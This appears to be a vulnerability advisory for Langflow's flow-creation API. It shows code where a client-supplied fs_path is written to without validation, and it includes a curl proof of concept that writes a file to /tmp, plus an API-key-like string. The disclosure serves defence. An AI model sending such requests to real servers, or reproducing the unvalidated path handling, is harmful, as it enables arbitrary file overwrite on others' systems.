External Control of File Name or Path in Langflow

Vulnerability Overview

If an arbitrary path is specified in the request body's fs_path, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.

Vulnerable Code

1. It receives the request body (flow), updates the DB, and then passes it to the file-writing sink.

   https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L154-L168

   @router.post("/", response_model=FlowRead, status_code=201)
   async def create_flow(
       *,
       session: DbSession,
       flow: FlowCreate,
       current_user: CurrentActiveUser,
   ):
       try:
           db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id)
           await session.commit()
           await session.refresh(db_flow)
   
           await _save_flow_to_fs(db_flow)
   
       except Exception as e:
   

2. Applies authentication dependency (requires API Key/JWT) when accessing the endpoint.

   https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/utils/core.py#L36-L38

   CurrentActiveUser = Annotated[User, Depends(get_current_active_user)]
   CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)]
   DbSession = Annotated[AsyncSession, Depends(get_session)]
   

3. The client can directly specify the save path, including fs_path.

   https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L66-L70

   ):
       try:
           await _verify_fs_path(flow.fs_path)
   
           """Create a new flow."""
   

4. It attempts to create the file (or the file, in the case of a path without a parent) directly without path validation.

   https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L45-L49

   async def _verify_fs_path(path: str | None) -> None:
       if path:
           path_ = Path(path)
           if not await path_.exists():
               await path_.touch()
   

5. Serializes the Flow object to JSON and writes it to the specified path in "w" mode (overwriting).

   https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L52-L58

   async def _save_flow_to_fs(flow: Flow) -> None:
       if flow.fs_path:
           async with async_open(flow.fs_path, "w") as f:
               try:
                   await f.write(flow.model_dump_json())
               except OSError:
                   await logger.aexception("Failed to write flow %s to path %s", flow.name, flow.fs_path)
   

PoC Description

When an authenticated user passes an arbitrary path in fs_path, the Flow JSON is written to that path. Since /tmp is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.

PoC

• Before Exploit

  <img width="1918" height="658" alt="image" src="https://github.com/user-attachments/assets/fe3c2306-091d-4cb0-b4dc-c7fb63c03d8d" />

• After Exploit

  curl -sS -X POST "http://localhost:7860/api/v1/flows/" \
    -H "Content-Type: application/json" \
    -H "x-api-key: sk-8Kyzf9IQ-UEJ_OtSTaJq4eniMT9_JKgZ7__q8PNkoxc" \
    -d '{"name":"poc-etc","data":{"nodes":[],"edges":[]},"fs_path":"/tmp/POC.txt"}'
  

  <img width="1918" height="742" alt="image" src="https://github.com/user-attachments/assets/cc0b0c96-1c2d-4d56-b558-5ba97e0ec174" />

Impact

• Authenticated Arbitrary File Write (within server permission scope): Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components.
• Both absolute and relative paths are allowed, enabling base directory traversal. The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings.
• The file content is limited to Flow JSON, but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing.
• In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.